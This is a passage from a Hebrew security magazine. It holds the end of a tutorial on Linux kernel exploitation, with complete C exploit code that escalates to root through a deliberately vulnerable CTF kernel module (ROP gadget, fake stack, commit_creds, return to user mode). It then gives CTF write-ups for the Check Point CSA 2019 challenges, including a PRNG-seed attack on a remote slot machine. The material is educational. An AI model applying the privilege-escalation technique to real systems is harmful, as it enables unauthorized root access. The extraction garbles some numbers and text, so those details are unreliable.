24 בצורה כזו אנחנו נוכל לחזור לכתובת שרצינו מבלי לכתוב אותה ישירות ב- payload שנשלח למודול: בואו ננסה את זה! תחילה עלינו למצוא את כל ה- gadgetים שבקרנל - בעזרת: ROPgadget. מדובר בכלי המציג רצפים של קטעי קוד אסמבלי בקבצי הרצה שהפקודה האחרונה ברצף משפיעה על הרגיסטר ip בעזרת ret/jmp וכו'. אך שימו לב שאתם מריצים אותו על קובץ קרנל ולא על קבצי דחיסה/עטיפה למינהם כמו bzimage הנפוץ. במידה ואין ברשתוכם את ה- elf, תוכלו להשתמש גם ב: כעת נחפש gadget המתאים: נראה שמצאנו משהו מספיק טוב. נדאג למפות את כתובת הבסיס 0x לזיכרון, ובכתובת 0x1428dd2 נשים את הכתובת שאליה נחזור )קרי:.)kernel_exploit בנוסף כתובת החזרה שנשים ב- payload של ה- overflow buffer תהיה הכתובת של ה- gadget שבחרנו )הכתובת מכילה בדיוק 8 ערכים ואף אחד מהם לא שווה ל- null כך שלא תהיה בעית העתקה ונחזור לכתובת הזו(. 24 First Steps to Linux Kernel Exploitation

25 וכך זה נראה כעת: 25 First Steps to Linux Kernel Exploitation

26 חזרה ל- Mode User אחרי שנכנסו ל- Mode,Kernel דרסנו את כתובת החזרה מפונקציית הטיפול ב- ioctlים, קפצנו לפונקציה שמעניקה לנו הרשאות,root עלינו לחזור חזרה ל- Mode User על מנת להמשיך להשתמש במחשב בצורה תקינה )כמובן עם ההרשאות שכבר יש בידיינו(. כפי שהסברתי מקודם, עלינו לשחזר את הרג'יסטרים המתאימים: swapgs iretq אך על מנת לשחזר את הערכים לערכם המקורי עלינו תחילה לשמור אותם איפשהו. לפני שניכנס לקרנל נריץ פונקציה שתשמור את הערכים של הרג'יסטרים החשובים לנו אל תוך משתנים: לאחר מכן ניכנס לקרנל, נריץ את כל מה שאנחנו צריכים ולבסוף על מנת לחזור חזרה מה- Mode User נקפוץ לפונקציית שחזור שלמעשה תשחזר את הרג'יסטרים הרלוונטיים על פי הערך של המשתנים שמחזיקים בערכים: שימו לב שבחזרה ל- Mode User אנחנו בעצם מבצעים השמה לרג'יסטר rip )כדי לדעת לאן לחזור ב-.)User Mode כעת נדבר לאן אנחנו רוצים לחזור. 26 First Steps to Linux Kernel Exploitation

27 הרצת shell כפי שתכננו מההתחלה, המטרה שלנו זה להשיג הרשאות root ולהריץ פקודות מערכת על המחשב עם ההרשאות שהשגנו לעצמינו. זאת אומרת שאחרי שאנחנו חוזרים ל- Mode User אנחנו רוצים להקפיץ: בעצם: /bin/sh system("/bin/sh"); באקספלויט שלנו מלחתחילה נכתוב פונקציה שמקפיצה לנו shell ולשם אנחנו נחזור מה- Mode :Kernel 27 First Steps to Linux Kernel Exploitation

28 מבחן האמת #include<stdio.h> #include<stdlib.h> #include <sys/ioctl.h> /* ioctl */ #include<fcntl.h> #include <sys/mman.h> אוקיי, נראה שסיימנו לכתוב את האקספלויט שלנו: #define BOF_OFFSET 28 #define IOCTL_VULN 1337 #define GADGET 0xffffffff81063d4d #define FAKE_STACK_ADDR 0x void shell(); void pe(); void kernel_exploit(); static void save_state(); static void ret2user(); int attribute ((regparm(3))) (*commit_creds)(unsigned long cred); unsigned long attribute ((regparm(3))) (*prepare_creds)(unsigned long cred); unsigned long cs; unsigned long ss; unsigned long sp; unsigned long flags; static void save_state() { asm volatile( "movq %%cs, %0\n" "movq %%ss, %1\n" "movq %%rsp, %2\n" "pushfq\n" "popq %3\n" : "=r"(cs), "=r"(ss), "=r"(sp), "=r"(flags) : : "memory"); } static void ret2user() { asm volatile( "swapgs ;" "movq %0, 0x20(%%rsp)\t\n" "movq %1, 0x18(%%rsp)\t\n" "movq %2, 0x10(%%rsp)\t\n" "movq %3, 0x08(%%rsp)\t\n" "movq %4, 0x00(%%rsp)\t\n" "iretq" : : "r"(ss), "r"((unsigned long)sp), "r"(flags), "r"(cs), "r"(shell)); } void shell() { puts("[+] ROOT\n"); system("/bin/sh"); } void pe() { commit_creds(prepare_creds(0)); 28 First Steps to Linux Kernel Exploitation

29 } void kernel_exploit() { commit_creds = (void*)0xffffffff ; prepare_creds = (void*)0xffffffff ; pe(); ret2user(); } // from /proc/kallsyms // from /proc/kallsyms int main() { int fd = -1; puts("[*] Start exploiting kernel module\n\n"); fd = open("/dev/bof_ctf", O_RDWR); if (fd < 0) { puts("[-] Can't open /dev/bof_ctf device file\n"); exit(1); } puts("[+] Successfully opened /dev/bof_ctf device file\n"); char *fake_stack = mmap((char*)fake_stack_addr, 0x , PROT_READ PROT_WRITE PROT_EXEC, 0x32 MAP_POPULATE MAP_FIXED MAP_GROWSDOWN, -1, 0); if (fake_stack!= (char*)fake_stack_addr) { puts("[-] Can't mmap fake stack\n"); exit(1); } puts("[+] Successfully mmap fake stack\n"); *(unsigned long*)(fake_stack + 0x28dd2) = (unsigned long)kernel_exploit; char payload[100] = {0}; for(int i = 0; i < BOF_OFFSET; ++i) { payload[i] = 'A'; } *(unsigned long*)(payload + BOF_OFFSET) = (unsigned long)gadget; save_state(); puts("[*] Jumping to kernel space\n"); ioctl(fd, IOCTL_VULN, payload); } return 0; 29 First Steps to Linux Kernel Exploitation

30 נקמפל, נריץ: מגניב - אנחנו!root 30 First Steps to Linux Kernel Exploitation

31 סיכום אז מה עשינו? פתרנו סוג של- challenge בתחום ה- exploitation binary שרץ ב- Mode Kernel בשונה מהאתגרים שאנו רגילים אליהם בכל- CTF שהם מתבססים עם ריצת תוכניות ב- Mode.User כפי שניתן לראות הסיפור בגדול אותו סיפור, אותו קו מחשבה ואותו עיניין, אבל עדיין יש קצת שינויים וטכניקות חדשות. כפי שאמרתי בתחילת המאמר, האתגר שלנו רץ על מערכת הפעלה linux ללא שום הגנות מודרניות. במהלך כתיבת האקספלויט לא נתקלנו בהגנות של מערכות הפעלה מודרניות שהפריעו לנו בדרך. אפשר להגיד שאם היינו מריצים בדיוק את אותו האקספלויט על אותו המודול על מערכת הפעלה עדכנית שקומפלה עם כל מנגנוני ההגנה לא היינו מצליחים. אבל היי, תמיד צריך להתחיל מאיפשהו בקטן. במידה ויתאפשר לי אני אוציא מאמר המשך אשר יעסוק בהגנות הקיימות כיום במערכות ההפעלה,)linux( וננסה לעקוף גם את ההגנות האלו ;( whoami תום חצקביץ' Hatskevich(,)Tom בן?8 מלש"ב. בוגר תוכנית מגשימים וכיום חוקר אבטחת מידע בסטארטאפ.arcusteam בזמני הפנוי אוהב להשתתף ב- CTF -ים, לחקור חולשות, להתעדכן טכנולוגית, להשתפר בתחומים אותם אני אוהב, ולצאת למסיבות עם חברים לאחרונה פתחתי repo בגיט שמכיל כמה cheat sheet )טיפים, תזכירים, סיכומים, מקורות מידע וכו..( שעוזרים ב- CTFים בתחום ה- exploitation,binary אתם מוזמנים לעקוב ולהשתמש )שימו לב שאתם מבינים במה אתם משתמשים ולא סתם מעתיקים, כי תפספסו ידע וזו לא המטרה וחבל כל הקבצים שהשתמשתי בהם במהלך המאמר תוכלו למצוא בגיט: את המאמר כתבתי תוך כדי למידה וזהו נושא חדש גם בשבילי, במידה ומשהו לא מובן, אתם חושבים שקיימת טעות? אשמח אם תצרו איתי קשר ותתקנו אותי כך שכולנו נלמד לבסוף 32 First Steps to Linux Kernel Exploitation

32 מקורות מידע נוספים Linux Kernel Exploit development - Environment: - Linux kernel exploit cheetsheet: - Linux Kernel ROP: Book: - A Guide to Kernel Exploitation : Attacking the Core 32 First Steps to Linux Kernel Exploitation

33 סדרת אתגרי Check Point CSA 2019 מאת Dvd848 ו- YaakovCohen88 מבוא באמצע פרסמה חברת Check Point סדרת אתגרים כחלק מקמפיין גיוס עבור ה- Point Check.Security Academy האתגרים חולקו לארבע קטגוריות: רברסינג, פיתוח, קריפטוגרפיה ושונות. במאמר זה נציג את הפתרונות שלנו לסדרת האתגרים. - Pinball Cipher אתגר #1: )קטגוריה: קריפטוגרפיה. ניקוד: 30( Time is of the essence, so I shall skip the introductions. My children have disappeared - I haven t heard from them in weeks. In my relentless searches, all I was able to obtain is this single short message they have left for me. The message is encrypted with the Pinball Cipher, a toy system which I authored personally for our family use. Unfortunately, the message author used a key unknown to me. I have provided you with the encrypted message, as well as the encryption software for this Pinball Cipher (for both Windows and Linux). Yours Truly, Sr. Reginald Hargreeves לאתגר צורף קובץ הרצה בשם יחד עם קובץ מוצפן בשם.msg.enc נתחיל מהרצת התוכנה pinball המצורפת: אם נבקש מהתוכנה להציג את טבלת ההצפנה, נקבל את הפלט הבא: 33 Check Point CSA 2019 סדרת אתגרי

34 כמו כן, התוכנה מציעה תיעוד נרחב יותר של פעולת ההצפנה/פענוח )לפי התיאור, מדובר באותה פעולה(: ננסה להצפין קובץ לדוגמא: מלבד השמות של קבצי הקלט והפלט, הכנסנו נקודות-ציון וכיווניות. לפי ההדפסות של התוכנה, ההצפנה מתבצעת באמצעות ביצוע פעולת XOR של התו הנוכחי של הטקסט עם תו שנלקח מטבלת ההצפנה לפי חוקיות של "כדור מקפץ": נקודות-הציון שהכנסנו משמשות בתור המיקום ההתחלתי של כדור דמיוני בתוך הטבלה, הכדור ממשיך לפי הכיווניות שהגדרנו וכאשר הוא פוגע ב"קיר" )קצה הטבלה( הוא ניתז ומשנה את כיוונו. את מהלך הכדור בדוגמא שלנו אפשר להציג באופן הבא: 34 Check Point CSA 2019 סדרת אתגרי

35 פענוח ההצפנה נעשה בדיוק באותו אופן, מכיוון שפעולת XOR היא הופכית. כמובן שעלינו לדעת מהן נקודות-הציון ההתחלתיות ואיזו כיווניות נבחרה על מנת לשחזר את המסלול המדויק של ההצפנה. מכיוון שאיננו יודעים את הנתונים ההתחלתיים של הקובץ,msg.enc ננסה לבצע Brute Force על מנת לגלות אותם. נוכל להניח שהקובץ מכיל טקסט בלבד, ולכן אם נקבל פענוח של תו מסוים שאינו בר- הדפסה, נדע שהנתונים ההתחלתיים שאנו מנסים כעת הינם שגויים ונוכל לעבור מיד לניסיון הבא. import os import mmap import string הקוד הבא יבצע זאת: def memory_map(filename, access=mmap.access_read): size = os.path.getsize(filename) fd = os.open(filename, os.o_rdonly) return mmap.mmap(fd, size, access=access) table_str = """ """.strip() class PinballCipher(object): def init (self, table_str): self.table = [] #[Y][X] for row in table_str.split("\n"): self.table.append([int(x) for x in row.split()]) self.rows = len(self.table) self.columns = len(self.table[0]) 35 Check Point CSA 2019 סדרת אתגרי

36 def initialize(self, py, px, vy, vx): assert(0 <= px < self.columns) assert(0 <= py < self.rows) assert(vx == 1 or vx == -1) assert(vy == 1 or vy == -1) self.py = py self.px = px self.vy = vy self.vx = vx self.reset = True def next(self): yield self.table[self.py][self.px] self.reset = False while not self.reset: expected_y = self.py + self.vy expected_x = self.px + self.vx if expected_y < 0 or expected_y >= self.rows: self.vy *= -1 if expected_x < 0 or expected_x >= self.columns: self.vx *= -1 self.py += self.vy self.px += self.vx yield self.table[self.py][self.px] with memory_map("msg.enc") as ciphertext: ciphertext_len = len(ciphertext) pc = PinballCipher(table_str) for y in range(pc.rows): for x in range(pc.columns): for vy in [1, -1]: for vx in [1, -1]: res = "" pc.initialize(y, x, vy, vx) for i, c in zip(range(ciphertext_len), pc.next()): xored_c = chr(ciphertext[i] ^ c) if xored_c not in string.printable: break res += xored_c else: print (res) print ((y, x, vy, vx)) print ("\n") נריץ את הקוד ונקבל: 36 Check Point CSA 2019 סדרת אתגרי

37 אתגר - BadaBase :#2 (קטגוריה : קריפטוגרפיה. ניקוד )40 : The king of Sheshach shall drink after them לאתגר צורף קובץ בשם.ciphertext נבחן את הקובץ המצורף : זה נראה כמו,Base64 אך ניסיון לפענח אותו כ Base64- אינו מייצר תוצאה קריאה : תיאור האתגר הוא רמז עבה מאוד בנוגע לכיוון בו צריך ללכת. המשפט " The king of Sheshach shall ומל ך ש ש ך י ש תה א ח ריה ם", שנחשב "drink after them הוא תרגום של פסוק מקראי מספר ירמיהו " : בעיני חוקרים ופרשנים בתור השימוש המתועד הקדום ביותר בצופן אתב"ש המפורסם (הפענוח של "ששך" באמצעות אתב"ש יוצא "בבל"). אם בצופן אתב"ש סטנדרטי האות הראשונה (א') מתחלפת עם האות האחרונה (ת'), האות השנייה (ב') עם האות הלפני אחרונה (ש') וכו', בצופן אתב"ש מבוסס - בתים הערך הראשון ( )0x00 יתחלף עם הערך האחרון (,)0xFF הערך השני ( )0x01 יתחלף עם הערך הלפני - אחרון ( )0xFE וכו'. באופן קסמי למדי, התוצאה הזו מתקבלת כאשר מבצעים XOR עם.0xFF למשל, אם נבצע 0xFE ^ 0xFF נקבל,0x01 כמו שרצינו. Check Point CSA 2019 סדרת אתגרי גליון,111 אוקטובר

38 : נשתמש בסקריפט הקצר הבא from Crypto.Util.strxor import strxor_c import base64 with open("ciphertext") as f: text = f.read() print strxor_c(base64.b64decode(text), 0xFF) : התוצאה : הדגל C.S.A. (2019)-Rulz-{<@!*~*!@>} A.S.C. סדרת אתגרי Check Point CSA אוקטובר,111 גליון

39 )02 : ניקוד. שונות : (קטגוריה Hunting Tinba :#3 אתגר The Cyber Law Enforcement Agency in Bolivia has raided a local cyber-crime group RnD center. They discovered that the cyber-crime group had breached dozens of organizations all over the world. All of the victims were infected with the Tinba malware. ( The Bolivian agency asked California State police assistance in shutting down the cyber-criminals' data center. Acme inc. CISO was notified by the Bolivian agency that his organization is one of the victims that were breached. Help Acme inc. CISO uncover the needle in the haystack by analyzing the attached Firewall log. The log contains a few million outbound connections. Your mission is to find the smoking gun of Tinba infection and discover the IP address of the CnC server. Acme inc. CISO is specifically interested in the amount of unique infected machines in the time windows between 18:00 06:00, this answer is your flag! FYI - YOU HAVE A 5 ATTEMPTS LIMIT ON THIS CHALLENGE : לאתגר צורף קובץ לוג ארוך מאוד בפורמט הבא ומשם נוכל לספור כמה מחשבים, של שרת השליטה והבקרה של הנוזקה IP- עלינו למצוא את כתובת ה. נגועים יצרו קשר עם השרת בשעות שצוינו 91 אך במקרה הזה (עבור, אפשר להפעיל המון יוריסטיקות שונות על מנת למצוא מועמדים מתאימים : נקודות) האסטרטגיה הפשוטה ביותר היא זו שעבדה נספור את כמות הפעמים שפנו אליה בסך הכל, עבור כל כתובת יעד כך גדל הסיכוי שהיא, כאשר ככל שפנו לכתובת מסוימת יותר, נמיין את התוצאות לפי סדר יורד השרת שאנו מחפשים סדרת אתגרי Check Point CSA אוקטובר,111 גליון

40 הסקריפט הבא יבצע זאת, שהשאלה הגדירה: ויספור גם את מספר הפעמים שפנו אל חמשת המועמדים המובילים בטווח from collections import defaultdict from datetime import datetime import operator ranges = [(datetime.strptime(' :00:00', '%Y-%m-%d %H:%M:%S'), datetime.strptime(' :00:00', '%Y-%m-%d %H:%M:%S') ), (datetime.strptime(' :00:00', '%Y-%m-%d %H:%M:%S'), datetime.strptime(' :00:00', '%Y-%m-%d %H:%M:%S') )] common_ips = defaultdict(int) ips_in_range = defaultdict(int) print "Counting..." with open("fw.log") as f: for line in f: try: date, time, src_ip, dest_ip = line.split() common_ips[dest_ip] += 1 entry_time = datetime.strptime(date + ' ' + time, '%Y-%m-%d %H:%M:%S') for (start_time, end_time) in ranges: if start_time <= entry_time < end_time: ips_in_range[dest_ip] += 1 except: pass print "Sorting..." sorted_common_ips = sorted(common_ips.items(), key=operator.itemgetter(1), reverse = True) print "Result:" for ip, count in sorted_common_ips[:5]: print "IP: {}\ttotal Count: {}\tcount in Range: {}".format(ip, count, ips_in_range[ip]) התוצאה: המספר שהתקבל בתור תשובה הוא 9:. 40 Check Point CSA 2019 סדרת אתגרי

41 אתגר :#4 Funny Pretty Damn - )קטגוריה: שונות. ניקוד: 70( In the heat of the battle we managed to intercept a raven flying over the battlefield. The raven carried a USB that contained a file with a message for the enemy. Help us recover the message from the file! לאתגר צורף קובץ.PDF Hint: You may be interested in reading about Incremental updates. כאשר פותחים את קובץ ה- PDF באמצעות קורא PDF שורת-פקודה, אנחנו מקבלים תוצאה שונה במקצת: ויזואלי, מקבלים דף ריק לחלוטין. עם כלי מבוסס קובץ PDF הוא בבסיסו קובץ ASCII )למרות שלעיתים הוא יכול להכיל תוכן בינארי(, מה שאומר שאפשר לפתוח אותו באמצעות עורך טקסט ולצפות במבנה שלו. למשל, הקובץ שלנו מתחיל כך: ומסתיים כך: כמובן שקוראי PDF יודעים לתרגם את התוכן הזה לדף שאנו רואים ויזואלית. 42 Check Point CSA 2019 סדרת אתגרי

42 אחת התכונות של קובץ PDF היא התמיכה ב - Incremental Updates- כלומר, היכולת לעדכן מסמך על ידי הוספת הגרסה החדשה של המסמך לאחר הגרסה הנוכחית, ולא במקומה. למשל, על ידי שימוש ביכולת הזו, נוכל ליצור קובץ PDF כזה (בהפשטה) : Version 1 Version 2 Version 3 כשנפתח את הקובץ עם קורא,PDF נראה רק את הגרסה האחרונה. אולם, נוכל לשחזר כל אחת מהגרסאות הקודמות על ידי "מחיקת" הגרסה האחרונה. בפועל, ההפרדה בין גרסאות נעשית באמצעות המילה השמורה, %%EOF ו"מחיקת" גרסה היא בסך הכל התעלמות מכל מה שנמצא אחרי ה EOF- של הגרסה שנרצה להציג. בקובץ שלנו %%EOF, חוזר 9: פעמים, מה שאומר שיש לנו 9: גרסאות שונות : בעקרון אפשר להשתמש בתוכנה כמו pdfresurrect על מנת לחלץ את כל הגרסאות הקודמות של המסמך, אך בפועל יוצא שמדובר ב 9:- מסמכים שעל פניו דומים ויזואלית וטקסטואלית לגרסה האחרונה שכבר ראינו. אם כך, נצטרך לבחון את הקובץ בצורה מדוקדקת יותר. קיימים כלים שמציגים את עץ האובייקטים של קובץ,PDF למשל : Check Point CSA 2019 סדרת אתגרי גליון,111 אוקטובר

43 בחינה מדוקדקת של העץ העלתה חוזר פעמים רבות עם הבדלים קלים בלבד : נסנן רק את השורה הרלוונטית : Check Point CSA 2019 סדרת אתגרי גליון,111 אוקטובר

44 המספר המשתנה הוא הפנייה לאובייקט אחר, אותו אפשר לקרוא כך: בדוגמא אנו רואים קריאה של אובייקט #91, כאשר תוכן האובייקט הכיל את הטקסט.TJ%C כל אובייקט הכיל תו אחר, וניתן היה לשלוף את הדגל במלואו על ידי הרצת הסקריפט הבא: #!/bin/sh pdf-parser --object 69 raven.pdf grep -Po " Referencing: 68 0 R, \K(\d+)" while read -r line ; do new_char=$(peepdf -C "object $line" raven.pdf 2>&1 grep -Po "\[\(read between\)]\ TJ%\K(.)";) echo -n $new_char done הדגל: 44 Check Point CSA 2019 סדרת אתגרי

45 אתגר ( - Da Vinci :#5 קטגוריה : שונות. ניקוד )70 : I ordered a reproduction of a famous renaissance painting, but the artist sent me this file. Can? you help לאתגר צורף קובץ.PCAP בהינתן קובץ, PCAP אנחנו רגילים למצוא בו תעבורת רשת, אך הוא יכול לשמש ללכידת כל סוג תעבורה. כל מה שצריך על מנת לצפות בתעבורה הוא שתוכנת הקצה (למשל )WireShark : תממש לוגיקה שיודעת להבין ולנתח את הפקטות שעוברות (.)dissector במקרה שלנו, קובץ ה PCAP- הכיל תעבורת :USB ראשית, נבחן בתור מה מכשיר ה USB- מזדהה : Check Point CSA 2019 סדרת אתגרי גליון,111 אוקטובר

46 מדובר במכשיר של חברת Wacom Co. Ltd מדגם :CTL-471 זהו בעקרון לוח כתיבה אלקטרוני, אך במקרה שלנו הוא דווקא מזדהה כעכבר: מבחינת התעבורה, נראה שעיקר התעבורה נשלח בשדה שנקרא Data" "Leftover Capture וש- WireShark לא יודע לנתח אותו: המטרה, אם כך, היא לנסות לשחזר את תנועות העכבר על מנת לקבל את הדגל. 46 Check Point CSA 2019 סדרת אתגרי

47 ממחקר קצר באינטרנט )למשל פה( עלה כי עכברים נוהגים לשלוח פקטות של שלושה או ארבעה בתים שבהם מקודד המידע שמעיד על תזוזה, לחיצה וכד'. ואכן, אצלנו רוב הפקטות הן של ארבעה בתים. נתחיל מחילוצן מתוך קובץ התעבורה על מנת שיהיה קל יותר לעבוד איתן. כך נראית הודעת USB המכילה פקטת מידע של ארבעה בתים: נסנן את כל ההודעות עם Device Address ששווה ל-= ונחלץ מהן את ה- Data :Leftover Capture אם נחזור לקישור המידע הקודם, נגלה שהוא מפרט בדיוק את מבנה הפקטות הצפוי. מה שמעניין אותנו הוא כנראה: הביט הראשון בבית הראשון: האם הכפתור השמאלי לחוץ הבית השני: תזוזת ה- X הבית השלישי: תזוזת ה- Y 47 Check Point CSA 2019 סדרת אתגרי

48 עם זאת כל ניסיון לפרש כך את המידע שברשותנו ומציירים יצירות אבסטרקטיות בסגנון: נכשל כשלון חרוץ. הנתונים פשוט לא מסתדרים נראה שעלינו לפרש את המידע בצורה אחרת. ננסה להוציא סטטיסטיקה של הערכים השונים שניתן למצוא בכל אחד מארבעת הבתים: לפי הסטטיסטיקה הזו, ניתן לראות שהבית הראשון הוא כמעט תמיד 0x01 )ולמעשה, כאשר הוא,0xC0 אורך הפקטה הוא מעל ; בתים(, ולכן לא ממש מעניין כנראה. הבית השני נע לרוב בין 0x80 ל- 0x81 ולכן הוא דווקא מסתדר טוב עם לחיצה על הכפתור השמאלי. והנתונים של הבתים השלישי והרביעי יחסית דומים, ומעבר לכך - שניהם מאוד קרובים ל- 0x00 או ל- 48 Check Point CSA 2019 סדרת אתגרי

49 X זה מאוד מתאים לנקודות-הציון.0xFF ו- Y לייצג. לכן, נראה שבסך הכל ההבדל מול ה- spec שמעניין אותנו(. שמיוצגות על ידי המשלים ל- 9, כמו שעכבר אמיתי אמור שראינו קודם הוא סדר הבתים )לפחות בנוגע למידע לא נשאר הרבה, פשוט נדמה את תזוזות העכבר ונצייר נקודה כאשר הלחצן השמאלי נלחץ באמצעות from dataclasses import dataclass from PIL import Image, class Coordinate: x: int y: int class UsbMouseData(object): def init (self, raw_string_data): arr = list(map(lambda x: int(x, 16), raw_string_data.split(":"))) if len(arr)!= 4: raise ValueError("Error: Incorrect format") self.is_clicked = arr[1] & 1 self.x = self.twos_complement(arr[2]) self.y = def twos_complement(val, bits = 8): if (val & (1 << (bits - 1)))!= 0: val = val - (1 << bits) return val הסקריפט הבא: def draw_dot(draw_obj, x, y, radius = 1): draw_obj.ellipse((x - radius, y - radius, x + radius, y + radius), fill = 0) def create_mouse_outline(input_path, output_path): with open(input_path) as f: img_size = 4000 img = Image.new("L", (img_size, img_size), 255) draw_obj = ImageDraw.Draw(img) position = Coordinate(img_size / 2, img_size / 2) for line in f: try: line = line.rstrip() data = UsbMouseData(line) position.x += data.x position.y += data.y 2) if data.is_clicked: draw_dot(draw_obj, position.x, position.y, radius = except: print ("Error with line: {}".format(line)) 49 Check Point CSA 2019 סדרת אתגרי

50 pass img.save(output_path) if name == " main ": create_mouse_outline("capture_data.txt", "res.png") התוצאה היא: כלומר, הדגל הוא: CSA{JuST_1ik3_Le0n4rdO_d4_ViNc1} 50 Check Point CSA 2019 סדרת אתגרי

51 - )קטגוריה: רברסינג. ניקוד: 30( Slot machine אתגר #6: Win big with our slot machine! But the real prize is a secret, can you take it all? Slot machine is here: Slot machine script running in the backend is in slotmachine_dummy.py האתר המצורף הכיל מכונת מזל: import random import collections בתיאור האתגר נטען כי המימוש של מכונת המזל הוא: from.secret import flag PRINTABLE = " abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!\"#$%&'( )*+,-./:;<=>?@[\\]^_`{ }~" flag_length = len(flag) SLOT_LENGTH = 10 NO_COINS = "No more coins! Goodbye." NOT_ENOUGH_COINS = "You don't have enough coins!" INVALID_COIN_NUMBER = "Coin number can't be negative" INITIAL_COINS = 10 class Slotmachine(object): def init (self): self.slots = [[i]+[random.choice(printable) for i in range(slot_length)] for i in flag] self.attempt_num = 0 self.total_coins = INITIAL_COINS self.last_result = "" self.last_gamble = 0 def get_prize(self): result = self.last_result 52 Check Point CSA 2019 סדרת אתגרי

52 x > 2]) prize = sum([x for x in collections.counter(result).values() if prize *= self.last_gamble self.total_coins += prize return prize def check_invalid_input(self, coins): if self.total_coins <= 0: self.last_result = "" return NO_COINS if self.total_coins < coins: self.last_result = "" return NOT_ENOUGH_COINS if coins < 0: self.last_result = "" return INVALID_COIN_NUMBER return None def spin(self, coins): invalid_message = self.check_invalid_input(coins) if invalid_message: return invalid_message.center(flag_length, ' ') self.last_gamble = coins self.total_coins -= coins random.seed(coins + self.attempt_num) self.attempt_num += 1 for i in self.slots: random.shuffle(i) result = "" for i in self.slots: result += random.choice(i) self.last_result = result return result # This is used to run the slotmachine locally, the server doesn't use this. def main(): slotmachine = Slotmachine() print("you have {} coins".format(slotmachine.total_coins)) get_next_num = True while get_next_num: try: prize = 0 coins = int(input("enter number of coins:\n")) result = slotmachine.spin(coins) if result == NO_COINS: get_next_num = False elif result!= NOT_ENOUGH_COINS: prize = slotmachine.get_prize() print(result) print("you won {} coins!".format(prize)) print("{} coins left.".format(slotmachine.total_coins)) except ValueError: get_next_num = False 52 Check Point CSA 2019 סדרת אתגרי

53 except NameError: get_next_num = False if name == ' main ': main() מכונת המזל הזו מבקשת מאיתנו להכניס מספר מטבעות ולסובב את הידית. סיבוב הידית גורר לוגיקה מסוימת שבסופה יוחלט בכמה מטבעות נזכה, אם בכלל. הלוגיקה הזו פחות מעניינת בפני עצמה, נתרכז רק בחלקים שמאפשרים לנו להדליף את הדגל. בכלל, איפה הדגל בכל הסיפור הזה? הדגל מגיע ממודול אחר ומשמש לאתחול משתנה מחלקה בשם self.slots = [[i]+[random.choice(printable) for i in range(slot_length)] for i in flag] :slots כלומר, slots הוא רשימה )באורך הדגל( של רשימות )באורך 81 כל אחת(. כל תת-רשימה מתחילה בתו ה- i של הדגל, ולאחריה תשעה תווים אקראיים )"ריפוד"(. או לפחות, זהו המצב ההתחלתי של המשתנה, שהרי הוא מעורבב בכל פעם שמתבצעת קריאה ל- spin, כלומר כאשר אנו מסובבים את הידית. כאשר זה קורה, התוכנה מבצעת את הלוגיקה הבאה: random.seed(coins + self.attempt_num) self.attempt_num += 1 for i in self.slots: random.shuffle(i) result = "" for i in self.slots: result += random.choice(i) self.last_result = result אנחנו רואים פה אתחול של random seed באמצעות מספר המטבעות עליהן הימרנו )משתנה בשליטתנו( ומונה רץ של מספר הסיבובים שהיו עד עתה )משתנה ידוע לנו(. כבר בנקודה הזאת, אמורה להידלק נורה אדומה לכל מי שמכיר את התיאוריה של מספרים אקראיים בעולם מדעי המחשב. הגרלת מספר אקראי לחלוטין היא משימה יחסית קשה )עוד על כך פה(, והמימושים הבסיסיים הקשורים למספרים אקראיים לרוב מספקים תחליף זול בהרבה: מספרים פסאודו-אקראיים. כלומר, הם רק נראים אקראיים, אבל למעשה הם ניתנים לחיזוי מדויק להפליא. זה כמובן בסדר במקרים מסוימים. במקרים אחרים, זה פתח לצרות צרורות. כדי לדעת לחזות )או לשחזר( רצף של מספרים שהגיעו ממחולל מספרים פסאודו-אקראיים, כל מה שאנחנו צריכים לדעת הוא ה- seed שאיתו בוצע האתחול. וזה בדיוק מה שיש לנו במקרה הזה. מה קורה הלאה? ספריית random משמשת לערבוב slots )אנחנו יכולים לחזות את הערבוב( ואז משמשת לבחירת תו אחד מכל תת-מערך )את מיקומו אנו יכולת לחזות( ליצירת המשתנה.result 53 Check Point CSA 2019 סדרת אתגרי

54 המשתנה result ייראה בתור מחרוזת אקראית באורך הדגל שכוללת לעיתים תווים מהדגל במיקום לא ידוע, אך למעשה נוכל לזהות מתוכה את התווים שהגיעו מהדגל עצמו ולסנן החוצה את ה"רעש". אבל - לפני הכל, נתחיל מגילוי אורך הדגל, שמשתקף באורך המשתנה,slots שמשתקף באורך :result קיבלנו חזרה מחרוזת באורך?: תווים, וזהו אורך הדגל שלנו. כעת אפשר להתחיל להדליף את הדגל. נעשה זאת על ידי הרצת שתי מכונות במקביל: מכונה מקומית )עם שינויים קלים שנפרט מיד( ומכונה מרוחקת )המכונה של השרת(. נדאג שה- seed של שתי המכונות יהיה זהה, וכך נוכל להשתמש במידע שמתקבל מקומית על מנת להסיק מסקנות לגבי מה שקורה בשרת המרוחק. FLAG_LEN = 38 flag = "0" * FLAG_LEN remote_flag = [None] * FLAG_LEN נתחיל מאתחול מספר משתנים: במקום לייבא את flag ממודול אחר )שאיננו בידינו(, אנחנו מאתחלים אותו בתור מחרוזת אפסים. במקביל, אנחנו מורידים את "1" ממשתנה PRINTABLE על מנת לוודא שבכל פעם שנפגוש את התו "1", נדע שהוא הגיע מהדגל ולא בתור "ריפוד" אקראי. def setup_remote(): s = requests.session() s.get(" return s נגדיר שתי פונקציות-עזר חדשות: def remote_spin(s, coins): r = s.get(" j = json.loads(r.text) return j["result"] הפונקציות הללו יסייעו לנו לסובב את המכונה המרוחקת יחד עם סיבוב המכונה המקומית. ל- setup_remote() נקרא בתחילת הפונקציה הראשית. 54 Check Point CSA 2019 סדרת אתגרי

55 לבסוף, נשנה את הלולאה הראשית באופן הבא: while get_next_num: prize = 0 coins = 1 result = slotmachine.spin(coins) remote_result = remote_spin(s, coins) if result == NO_COINS: get_next_num = False elif result!= NOT_ENOUGH_COINS: prize = slotmachine.get_prize() if "0" in result: start = 0 index = result.find("0", start) while index >= 0: remote_flag[index] = remote_result[index] print ("".join([c if c is not None else "?" for c in remote_flag ])) if all(remote_flag): print ("".join(remote_flag)) return index = result.find("0", index + 1) ניתן לראות פה שאנחנו מכניסים מטבע אחד בכל סיבוב, ומסובבים את המכונה המקומית ואת המכונה המרוחקת בדיוק באותו אופן, לקבלת שני משתני - result מקומי ומרוחק. לאחר מכן, אנחנו בודקים את התוצאה המקומית: אם קיים בה התו "1", סימן שבאותו המקום בתוצאה המרוחקת קיים תו מהדגל )שכן הערבוב הוא אותו ערבוב(. ניקח את התו המתאים ונשבץ אותו ב- remote_flag. בתחילת הריצה הפלט נראה כך: לאחר מספר לא רב של סיבובים, כבר יש לנו את רוב הדגל: 